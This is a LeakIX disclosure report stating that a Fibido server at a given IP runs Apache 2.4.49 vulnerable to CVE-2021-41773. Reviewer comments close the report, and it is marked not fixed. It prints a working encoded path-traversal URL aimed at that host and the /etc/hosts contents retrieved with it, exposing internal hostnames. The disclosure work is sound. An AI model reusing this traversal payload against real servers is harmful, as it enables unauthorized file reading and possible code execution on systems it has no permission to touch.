LeakIX report : Fibido

Creation
Validation
Communication & fix
Disclosure

Fibido / Apache 2.4.49 vulnerable to CVE-2021-41773

Deleted user reported 2021-10-08

Your server was found vulnerable to CVE-2021-41773.

Attackers can read any file from your server.

Under some circumstances attackers are able to execute code on your server.

IP:

62.171.142.184

Port:

443

Detected protocol:

https

Vulnerable URL:

https://62.171.142.184/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts

Found host file trough Apache traversal:
127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
127.0.0.1   autoreply.server.arusee.com
95.111.249.144   server.arusee.com

Found by Apache2449TraversalPlugin 2021-10-07

Report created by

deleted-user 2021-10-08

BloodyShell commented 2021-10-08: approved shows in report

Server is running 2.4.48 at this time.

Closing.

Report comment dispatched to linkks by system 2021-10-08

Report edited by

BloodyShell 2021-10-08

New PDF report generated by system 2021-10-08

Report edited by

BloodyShell 2021-10-08

New PDF report generated by system 2021-10-08

Information

Owner Fibido

Created 2021-10-08 12:11

Updated 2021-10-08 16:44

Fixed false

Contacts

i...@fibido.io

Status

Status closed

Hosting contacted false

CERT contacted false

Download report